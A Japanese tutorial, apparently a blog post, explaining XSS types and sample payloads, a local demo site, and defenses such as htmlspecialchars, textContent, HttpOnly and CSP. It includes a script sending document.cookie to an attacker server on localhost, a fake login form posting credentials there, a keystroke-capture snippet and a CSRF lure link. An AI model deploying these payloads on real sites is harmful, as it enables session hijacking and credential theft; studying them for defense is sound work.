様々なXSS

# 【重要】この資料にある攻撃コードの利用について

本資料に含まれるXSSの攻撃コードや手法は、  
**あくまで学習・検証目的のためにローカル環境やテスト環境でのみ実行してください。**

実際のWebサイトや他人のサービス、公開環境での攻撃行為・悪用は法律違反であり、厳しく処罰されます。  
**絶対に悪用しないでください。**

# XSS（クロスサイトスクリプティング）

XSSは、Webサイトの脆弱性を利用して不正なスクリプトを埋め込む攻撃です。

## XSSの種類

- **反射型XSS**: 特定のリンクをクリックした際に実行されます。
- **格納型XSS**: 訪問者がページをアクセスするたびにスクリプトが実行されます。
- **DOM Based XSS**: DOMを悪用するため、サーバーを通さず、クライアント側で攻撃が成立します。

### そもそもDOMとは何か？

DOM（Document Object Model）は、HTMLを「プログラムから操作しやすい形」にしたルールや仕組みです。具体的には以下のような操作が可能です。

- 見出しや段落のテキストを書き換える
- ボタンをクリックしたときの動きを決める
- 新しい要素を追加・削除する

## 脆弱性を見分けるには

簡単なものから試してみると良いでしょう。

```html
'>''><hr>
```

## 様々な攻撃手法

### 典型的な例

```js
<script>alert("xss")</script>
```

### セッションIDを盗む

- HTMLに埋め込む

```js
<script>alert(document.cookie)</script>
```

- リンクに注入

```js
javascript:alert(document.cookie);
```

例:

```html
<a href="javascript:alert(document.cookie);">クッキーを表示</a>
```

### ヌルバイト攻撃

```js
%00<script>alert("xss")</script>
```

※ヌルバイト攻撃とは、%00（ヌルバイト）を挿入し、プログラムの動作を変更します。

### DOMXSS

```html
<img src="x" onerror="alert('XSS')">
```

```html
<input value="" onmouseover="alert(1)" />
```

`onmouseover`を使うと、マウスカーソルを合わせるたびにJavaScriptが実行されます。

### キーロガー

```js
<script>
document.onkeydown = function(e) {
  alert('押されたキー: ' + e.key + '\nコード: ' + e.code + '\nキーコード: ' + e.keyCode);
};
</script>
```

※キーロガーとは、キーボードの入力を記録するプログラムのことです。

## 簡易的なデモサイトを作ってみた

### ファイル構成

```
xss-demo
  ├── attacker
  │   ├── node_modules
  │   ├── attacker-server.js
  │   ├── package.json
  │   ├── package-lock.json
  │   ├── stolen-data.txt
  │   └── csrf.html
  ├── db.sqlite3
  ├── index.html
  ├── keizi.php
  ├── login.php
  ├── post.php
  ├── view.php
  └── delete.php
```

## デモサイトに攻撃してみよう

[GitHub - XSS-demo](https://github.com/potetopipi/XSS-demo)

### Cookieを盗むスクリプト

```js
<script>
location.href = 'http://localhost:6010/getCookie?cookie=' + document.cookie;
</script>
```

### フィッシングフォームを表示

```js
<script>
document.body.innerHTML = `
  <form method="POST" action="http://localhost:6010/getLogin">
    <div>ユーザー名:<br><input type="text" name="id"></div>
    <div>パスワード:<br><input type="password" name="password"></div>
    <input type="submit" value="ログイン">
  </form>
`;
</script>
```

### CSRF

```html
<a href="http://localhost:3000/xss-demo/attacker/csrf.html">１００万円今ならもらえる！</a>
```

## XSSの対策

- WAFの導入
- エスケープ処理、サニタイジングを行う
- Set-CookieフィールドのHttpOnly属性の追加
- Content-Security-Policy (CSP)

### PHPにおけるXSS対策

- 出力時におけるエスケープ  
  **htmlspecialchars**関数の使用

```php
htmlspecialchars(文字列, エスケープの方法, 文字コード)
```

元のコード:

```php
<?= $post['name'] ?>: <?= $post['content'] ?>
```

エスケープ後:

```php
<?= htmlspecialchars($post['name'], ENT_QUOTES, 'UTF-8') ?>: <?= htmlspecialchars($post['content'], ENT_QUOTES, 'UTF-8') ?>
```

### JavaScriptにおけるXSS対策

**replace関数**の使用

```js
replace(第1引数, 第2引数)
```

**第1引数**: 検索する文字列または正規表現  
**第2引数**: 置き換える文字列または関数  

```js
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}
```

※順番が大切です。&のエスケープを後にすると二重に変換されてしまうので、最初に&をエスケープするようにしましょう。

### JSONのエンコード

```js
JSON.stringify(JSON形式のデータ)
```

以下のコードを実行:

```js
const data = {
  memos: [
    {
      title: "勉強メモ",
      content: "HTMLとJavaScriptを復習する"
    },
    {
      title: "買い物",
      content: "牛乳とパンを買う"
    }
  ]
};

console.log(data);
```

**結果**

![スクリーンショット 2025-06-06 111059.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3618105/611daa12-5a4b-4cd9-bd11-165261845581.png)

これを`JSON.stringify()`を使用してエンコードしてみます。

```js
const encodeData = JSON.stringify(data);
console.log(encodeData);
```

**結果**
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3618105/a23f6b57-6370-4694-b66e-0345463607aa.png" alt="スクリーンショット" width="800"/>



このように文字列として出力されました。また、HTMLとしてブラウザに表示させる場合は以下のようにします。

```html
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <title>memo</title>
</head>
<body>
  <h2>memoを表示</h2>
  <div id="output"></div>

  <script>
    const data = {
      memos: [
        {
          title: "<img src=x onerror=alert('XSS!')>",
          content: "このメモは危険です"
        }
      ]
    };

    const encodeData = JSON.stringify(data);
    const output = document.getElementById('output');
    output.textContent = encodeData;
  </script>
</body>
</html>
```

`innerHTML`で入力するのはダメです！これだとXSSが発生してしまうので、`textContent`を使用するようにしましょう。

### HttpOnly属性

Cookieに指定できる属性の一つで、これをつけるとJavaScriptからそのCookieを見ることができなくなります。

```php
setcookie("session_id", $session_id, [
  'httponly' => false,  // JavaScriptからアクセス可能（trueならJavaScript不可）
  'secure'   => false,  // HTTPSならtrueにして安全に（falseだとHTTPでも送信）
  'samesite' => 'Lax',  // クロスサイトリクエスト時のクッキー送信制限（Laxは緩め）
  'path'     => '/',    // クッキーが有効なパス（全ページで有効）
]);
```

この`httponly`の部分を`false`から`true`に変更すると、以下のスクリプト文でセッションIDが盗めなくなります。

```js
<script>alert(document.cookie)</script>
```

### CSP（コンテンツセキュリティポリシー）

このページでどこからデータを読み込んでいいか、どんなスクリプトを動かしていいかをブラウザに伝えるルールのことです。

```php
// Content-Security-Policy ヘッダーを送信
// default-src 'self' : すべてのリソースの取得元を自サイトのドメイン（'self'）のみに制限
// script-src 'self'  : JavaScriptの取得元も自サイトのドメインのみに制限。
//                      そのため外部スクリプトやインラインスクリプトはブロックされる。
//                      （インラインスクリプトを許可したい場合は 'unsafe-inline' を追加）
//                      例）script-src 'self' https://example.com;
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
```
## <参考資料>  
安全なWebアプリケーションの作り方　著/徳丸浩
https://www.netattest.com/null-byte-attack-2024_mkt_tst  
https://www.c-ntn.co.jp/knowledge/xss-2/  
https://learning-next.app/blog/frontend-development/what-is-dom  
https://www.ubsecure.jp/blog/dom-based-xss  
https://www.tohoho-web.com/ex/xss.html  
https://www.nttpc.co.jp/column/security/cross_site_scripting.html
https://agohack.com/how-to-escape-with-htmlspecialchars/ 
https://www.saxa.co.jp/saxa-dx_navi/case-study/ca0070-security-u02-n003.html  
https://www.webdesignleaves.com/pr/jquery/js-replace.html  
https://www.furikatu.com/2025/04/secure-xss-attacks.html  
https://cybersecurity-jp.com/column/102487